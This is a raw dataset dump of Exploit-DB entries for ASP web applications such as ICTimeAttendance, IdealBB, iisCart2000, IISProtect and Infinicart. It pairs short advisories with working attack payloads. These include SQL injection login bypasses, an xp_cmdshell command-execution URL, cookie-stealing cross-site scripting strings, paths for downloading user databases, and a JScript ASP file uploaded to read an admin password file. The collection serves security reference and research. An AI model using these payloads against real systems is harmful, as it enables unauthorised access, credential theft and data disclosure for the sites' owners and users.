deardaniel/secdata-raw huggingface dataset:
Exploit-DB #18394
Description: ICTimeAttendance - Authentication Bypass
Type: webapps
Platform: asp
Date: 2012-01-20
Author: v3n0m

Exploit:
     )   )            )                     (   (         (   (    (       )     ) 
  ( /(( /( (       ( /(  (       (    (     )\ ))\ )      )\ ))\ ) )\ ) ( /(  ( /( 
  )\())\()))\ )    )\()) )\      )\   )\   (()/(()/(  (  (()/(()/((()/( )\()) )\())
 ((_)((_)\(()/(   ((_)((((_)(  (((_)(((_)(  /(_))(_)) )\  /(_))(_))/(_))(_)\|((_)\ 
__ ((_)((_)/(_))___ ((_)\ _ )\ )\___)\ _ )\(_))(_))_ ((_)(_))(_)) (_))  _((_)_ ((_)
\ \ / / _ (_)) __\ \ / (_)_\(_)(/ __(_)_\(_) _ \|   \| __| _ \ |  |_ _|| \| | |/ / 
 \ V / (_) || (_ |\ V / / _ \  | (__ / _ \ |   /| |) | _||   / |__ | | | .` | ' <  
  |_| \___/  \___| |_| /_/ \_\  \___/_/ \_\|_|_\|___/|___|_|_\____|___||_|\_|_|\_\
										.WEB.ID
-----------------------------------------------------------------------
          ICTimeAttendance Authentication Bypass Vulnerability
-----------------------------------------------------------------------
Author  	: v3n0m
Site    	: http://yogyacarderlink.web.id/
Date		: January, 19-2012
Location	: Jakarta, Indonesia
Time Zone	: GMT +7:00

Application	: ICTimeAttendance - Time attendance script
Price		: $57.09
Vendor  	: http://www.icloudcenter.com/

Exploit & p0c
_____________

go to
	http://domain.tld/[path]/index.html

then login with
	Username : admin
	Password : 1'or'1'='1

ShoutZ
______

All YOGYACARDERLINK CREW
Exploit-DB #22992
Description: IdealBB 1.4.9 - 'error.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2003-08-07
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/8360/info

IdealBB error.asp page has been reported prone to a cross-site scripting vulnerability.

The issue presents itself due to a lack of sufficient sanitization performed by functions in the error.asp script on user-influenced URI parameters. This vulnerability may be exploited to permit the theft of cookie authentication credentials if a malicious link is followed. Other attacks may also be possible.

http://www.example.com/idealbb/error.asp?e=16&sessionID={xxxxxxxx-xxxx-xxxx-
xxxx-xxxxxxxxxxxx}&msg=<script>alert('Zone-h')</script>
Exploit-DB #23055
Description: IdealBB 1.4.9 Beta - HTML Injection
Type: webapps
Platform: asp
Date: 2003-08-23
Author: Scott M

Exploit:
source: https://www.securityfocus.com/bid/8480/info

IdealBB is prone to an HTML injection vulnerability. This could permit remote attackers to inject malicious HTML and script code into board messages. The attacker's code may be rendered in the web browser of the user viewing the malicious message.

<a href="http://www.google.com" onclick="j&#97;vascript:alert(do&#99;ument.cookie);">Google</a>
Exploit-DB #22697
Description: iisCart2000 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2003-05-31
Author: Bosen

Exploit:
source: https://www.securityfocus.com/bid/7765/info

A vulnerability has been reported for iisCart2000 that may result in an attacker uploading arbitrary files to a vulnerable server. The vulnerability exists in the upload.asp script. This will allow an attacker to upload arbitrary files to the vulnerable server. Successful exploitation may result in the execution of attacker-supplied code. 

// 1ndonesian Security Team
// http://bosen.net/releases/
//
<% @ Language = JScript %>
<%
function WinPath(absPath) {this.absolutePath = absPath;}
function getAbsPath() {return this.absolutePath;}
WinPath.prototype.getAbsolutePath = getAbsPath;

function fileRead(file) {
  var FSO = new ActiveXObject("Scripting.FileSystemObject"), strOut = ""
  var tmp = file, f, g = FSO.GetFile(tmp);
  f = FSO.OpenTextFile(tmp, 1, false);
  strOut = "<PRE STYLE=\"font-size:9pt;\">";
  strOut+= Server.HTMLEncode(f.ReadAll());
  strOut+= "</PRE>";
  f.Close();
  return(strOut);
}

var a = new WinPath(Server.Mappath("/"));
var curDir   = a.getAbsolutePath();

// You can change these
var admin = curDir + "\\advanced\\admin\\pswd.asp";

with (Response) {
  Write("<b>ServerRoot : "+curDir+"<br></b>");
  Write("<b>Admin Info : "+admin+"<br><br></b>");
  Write(fileRead(admin));
}
%>
Exploit-DB #22639
Description: IISProtect 2.1/2.2 - Web Administration Interface SQL Injection
Type: webapps
Platform: asp
Date: 2003-05-23
Author: Gyrniff

Exploit:
source: https://www.securityfocus.com/bid/7675/info

The IISProtect web administration interface does not properly sanitize user input. This could allow for SQL injection attacks on a Microsoft IIS server running IISProtect.

Successful exploitation could result in a compromise of the IISProtect server, attacks on the database or other consequences. 

http://www.example.com/iisprotect/admin/SiteAdmin.ASP?V_SiteName=&V_FirstTab=Groups&V_SecondTab=All&GroupName=gyrniff_gr';exec%20maste
r..xp_cmdshell'ping%2010.10.10.11';--

This example invokes the 'xp_cmdshell' stored procedure to execute the ping command on the host operating system.
Exploit-DB #26743
Description: IISWorks ASPKnowledgeBase 2.0 - 'KB.asp' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2005-12-06
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15734/info

ASPKnowledgeBase is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Versions 2.x and prior are vulnerable; other versions may also be affected. 

http://www.example.com/kb.asp?a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E

http://www.example.com/kb.asp?ID=210&a=%22%3E%3Cscript%3Ealert('r0t')%3C/script%3E
Exploit-DB #13886
Description: IISWorks FileMan - fileman.mdb Remote User Database Disclosure
Type: webapps
Platform: asp
Date: 2010-06-15
Author: j0fer

Exploit:
# Exploit Title: IISWorks FileMan fileman.mdb Remote User Database
Disclosure
# Disclosure Date: July 5, 2005
# Author: Known Vulnerability
# Software Link: http://www.scriptdungeon.com/scripts/asp/FileManASP.rar
# Version:
# OSVDB: 17824
# Security Tracker ID: 1014383
# Found exploited in the wild by: Joey Furr (j0fer), Exploit-DB team
# On: May 10, 2010
# Found on: Windows Server 2003 Service Pack 2 version 5.2.3790


[+] Description
    IISWorks FileMan is an .asp-based web interface meant to simplify the
    process of uploading, downloading, and otherwise managing files on a
server.
    The script uses an unencrypted Microsoft Access database file for user
and
    permissions administration.

    * If 'Read' permissions are not revoked in IIS on the /Database folder,
the user
      db will be directly downloadable. The FileMan diags.asp installation
verification
      script does not check for this permission setting.

[+] Usage

http://[Target]/fileman/Database/fileman.mdb

or

http://[Target]/[InstallDir]/Database/fileman.mdb

[+] Other Products from the same vendor with the same vulnerability

IISWorks ListPics listpics.mdb Remote User Database Disclosure

   http://[target]/gallery/Database/listpics.mdb

IISWorks ASPKnowledgeBase kb.mdb Remote User Database Disclosure

   http://[target]/KB/Databse/kb.mdb

IISWorks ASPWebMail Webmail.mdb Remote User Database Disclosure

   http://[target]/Webmail/Database/Webmail.mdb
Exploit-DB #7372
Description: Ikon ADManager 2.1 - Remote Database Disclosure
Type: webapps
Platform: asp
Date: 2008-12-07
Author: Ghost Hacker

Exploit:
####################################################################################################
# Ikon AdManager 2.1 (ikonBAnner_AdManager.mdb) Database Disclosure Vulnerability                  #
# Â© Ghost Hacker - REAL-H.COM                                                                      #
####################################################################################################
#[~] Author : Ghost Hacker                                                                         #
#[~] Homepage : http://Real-h.com                                                                  #
#[~] Contact Me : Ghost-r00t[at]Hotmail[dot]com                                                    #
#[~] Bug : Database Disclosure                                                                     #
#[~] Name Script : Ikon AdManager 2.1                                                              #
#[~] Download : http://www.dotnetindex.com/downloads/easy_download_getinfo.asp?id=7                #
####################################################################################################
#[~]Exploit                                                                                        #
# http://xxxx.com/[path]/database/ikonBAnner_AdManager.mdb                                         #
################# ###################################################################################
#[~]Greets :                                                                                       #
# Mr.SaFa7 [v4-team.com] , All Members Real-h.com and v4-team.net , All My Friends (3ed mobark)    #
####################################################################################################

# milw0rm.com [2008-12-07]
Exploit-DB #29054
Description: Image Gallery with Access Database - 'default.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-16
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21131/info
 
Image gallery with Access Database is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.
 
http://www.example.com/path/default.asp?page=2&order=[SQL Injection]
http:/www.example.com/target/path/default.asp?page=[SQL INJECTION]&order=id
Exploit-DB #29053
Description: Image Gallery with Access Database - 'dispimage.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-16
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21131/info

Image gallery with Access Database is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/path/dispimage.asp?id=[SQL Injection]
Exploit-DB #30332
Description: Image Racer - 'searchresults.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-07-23
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/25010/info

Image Racer is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Image Racer 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/SearchResults.asp?SearchWord=[SQLCOMMAND]&WordSearchCrit=Yes&image.x=0&image.y=0
Exploit-DB #28941
Description: Immediacy .NET CMS 5.2 - 'Logon.aspx' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-08
Author: Gemma Hughes

Exploit:
source: https://www.securityfocus.com/bid/20965/info

Immediacy CMS is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 5.2 is vulnerable to this issue; other versions may also be affected.

http://www.example.com//logon.aspx?lang=<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT>
Exploit-DB #31413
Description: Imperva SecureSphere 5.0 - Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2008-03-17
Author: Berezniski

Exploit:
source: https://www.securityfocus.com/bid/28279/info

Imperva SecureSphere is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Imperva SecureSphere 5.0 MX Management Server is vulnerable. 

http://www.example.con/%20<script>alert(window.location=(window.location+"a").slice(0,48)+"view=activateSettingObj&popUpViewRequest=activatePopup&view_func=frameset&view_module=activate_setting");</script>/*.aspx
Exploit-DB #28993
Description: INFINICART - 'added_to_cart.asp?ProductID' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21043/info
    
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
    
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
    
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
    
http://www.example.com/infinicart-demo/added_to_cart.asp?productid=[sql]
Exploit-DB #28994
Description: INFINICART - 'browsesubcat.asp' Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21043/info
     
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
     
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
     
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
     
http://www.example.com/infinicart-demo/browsesubcat.asp?catid=[sql]
http://www.example.com/infinicart-demo/browsesubcat.asp?catid=13&subid=[sql]
Exploit-DB #28992
Description: INFINICART - 'browse_group.asp?groupid' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21043/info
   
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
   
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
   
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
   
http://www.example.com/infinicart-demo/browse_group.asp?groupid=[sql]
Exploit-DB #28991
Description: INFINICART - 'login.asp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2006-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21043/info
  
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
  
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
  
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
  
in /infinicart-demo/login.asp :

username ( go for 2 xss like :
&lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script>;&lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script> )
passwd ( same as username )
Exploit-DB #28989
Description: INFINICART - 'search.asp?search' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21043/info

Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.

in /infinicart-demo/search.asp :
post the following search = &lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script>
Exploit-DB #28990
Description: INFINICART - 'sendpassword.asp?email' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2006-11-13
Author: laurent gaffie

Exploit:
source: https://www.securityfocus.com/bid/21043/info
 
Infinicart is prone to multiple input-validation vulnerabilities, including HTML-injection and SQL-injection issues, because the application fails to properly sanitize user-supplied input.
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
The vendor reports that these issues affect only the demonstration version of Infinicart and do not affect any official released versions of the application.
 
in /infinicart-demo/sendpassword.asp :
email= &lt;/textarea&gt;&#039;"><script>alert(document.cookie)</script>
Exploit-DB #11414
Description: Infragistics WebHtmlEditor 7.1 - Multiple Vulnerabilities
Type: webapps
Platform: asp
Date: 2010-02-12
Author: SpeeDr00t

Exploit:
-----------------------------------------------------------------------------------------------------------------------------
Infragistics WebHtmlEditor.v7.1(InitialDirectory,iged_uploadid ) directory Traversal  and Arbitrary File upload vulnerability
-----------------------------------------------------------------------------------------------------------------------------


proof of concept by KyoungChip, Jang ( SpeeDr00t )

[*] the bug    
    : directory Traversal  and Arbitrary File upload vulnerability

[*] application
    : Infragistics WebHtmlEditor.v7.1

[*] Vendor URL  
    : http://www.infragistics.com


[*] homepage
    : cafe.naver.com/cwithme
      
[*] company
    : sk &#1102;&#1085;4sec

[*] Group
    : canvasTeam@SpeeDr00t

[*] Thank for
    : my wife(en hee) , my son(ju en, do en ), Zero-0x77, hoon


# directory Traversal  vulnerability

A directory traversal vulnerability exists in Infragistics WebHtmlEditor.v7.1
which allows a remote user to view files local to the target server.

The parameters of the InitialDirectory ( InitialDirectory =../../ )
This form of attack can be manipulated directory travel.

poc ) InitialDirectory = ../../

ex)
http://server/test.aspx?lang=&iged_uploadid=InsertImage&LocalizationType=English&LocalizationFile=&InitialDirectory=../../&num=1&parentId=WebHtmlEditor


# Arbitrary File upload vulnerability
The parameters of the InsertImage the iged_uploadid can upload image files, but
Open an attacker to change the parameters iged_uploadid Arbitrary File upload it enables.


http://server/test.aspx?lang=&iged_uploadid=Open&LocalizationType=English&LocalizationFile=&InitialDirectory=../../&num=1&parentId=WebHtmlEditor
Exploit-DB #29456
Description: InstantASP 4.1 - 'Logon.aspx?sessionid' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-01-15
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/22052/info

InstantForum.NET is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.

An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.

These issues affect version 4.1.0; other versions may also be affected. 

http://www.example.com/Forums-Path/Logon.aspx?SessionID=[xss]
Exploit-DB #29457
Description: InstantASP 4.1 - 'Members1.aspx' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: asp
Date: 2007-01-15
Author: Doz

Exploit:
source: https://www.securityfocus.com/bid/22052/info
 
InstantForum.NET is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 4.1.0; other versions may also be affected. 

http://www.example.com/Forums-Path/Members1.aspx?Username=[xss]
http://www.example.com/Forums-Path/Members1.aspx?Update=[xss]
Exploit-DB #30963
Description: InstantSoftwares Dating Site - Login SQL Injection
Type: webapps
Platform: asp
Date: 2007-12-31
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/27080/info

InstantSoftwares Dating Site is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

The following proof of concept is available:

Username: Admin
[CREDENTIAL_REDACTED]' OR 'x'='x
Exploit-DB #23895
Description: Interchange 4.8.x/5.0 - Remote Information Disclosure
Type: webapps
Platform: asp
Date: 2004-03-30
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/10005/info

It has been reported that Interchange may be prone to a remote information disclosure vulnerability allowing attackers to disclose contents of arbitrary variables via URI requests.

This issue may allow an attacker to gain access to sensitive information that may be used to launch further attacks against a system. 

http://www.example.com/cgi-bin/store/__SQLUSER__